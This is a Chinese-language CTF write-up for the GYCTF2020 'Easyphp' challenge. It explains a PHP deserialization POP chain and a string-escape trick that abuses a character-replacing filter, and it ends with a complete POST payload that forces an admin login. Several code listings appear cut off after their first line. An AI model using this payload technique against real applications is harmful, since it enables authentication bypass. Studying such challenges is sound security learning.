[GYCTF2020]Easyphp
题目提示留下来后面,我们进行目录扫描,发现了www.zip文件,我们进行下载
下载后发现4个php文件,接下来就是万恶的代码审计了
我们在update.php里面发现输出flag的代码
1 | if ($_SESSION['login']!=1){ |
所以我们需要做的就是成功登录,就能得到flag了
我们审计lib.php
1 | <?php |
在UpdateHelper类里发现反序列化,在user类里发现了字符的替换和sql语句
这里最重要的一句话safe(serialize(new Info($age,$nickname)))
显示将Info
类进行序列化然后经过safe
过滤,然后再回到update
方法中反序列化,再看看safe
函数
1 | function safe($parm){ |
很明显,safe函数进行了字符的替换,所以这道题还需要用到反序列化字符逃逸来做
关键还是进行登录
虽然我们不知道admin的密码,但如果让login执行的sql语句是select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
,那么密码校验就能直接通过,token会被赋成admin。
1 | <?php |
把UpdateHelper类的sql赋值成了一个User类,UpdateHelper类的__destruct会echo this->sql,触发User类的__toString。因为User类的nickname被赋值成了一个Info类,而Info类是没有update函数的,这时候会默认触发Info的__call函数,调用CtrlCase的login。CtrlCase已经实例化成dbCtrl,参数是User的age,我们改成’select 1,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?’
这时候就达到目的
1 | public function __toString() |
此时,我们得到了一个反序列化字符串
1 | O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}} |
下一步是要让它绕过safe函数,这里终于要用到提过的字符串逃逸了
1 | <?php |
\是会被替换成hacker的,这样nickname的实际长度变长,但是s:271是固定的,所以后台一直认定nickname就是271个字符长。如果\的数量够多,那么我们后面的s:8:”CtrlCase”;O:12:”UpdateHelper”就能逃逸出来,成功注入了一个UpdateHelper类。
1 | ";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}} |
长度是263个字符,*
和hacker相差5个字符,into和hacker相差2个字符。所以一共要有4个into和51个*
1 | age=1&nickname=***************************************************intointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}} |
post以后页面出现10-0代表成功,此时返回登录页面。此时token已经变成admin,用户名填admin,密码随意就可登录成功。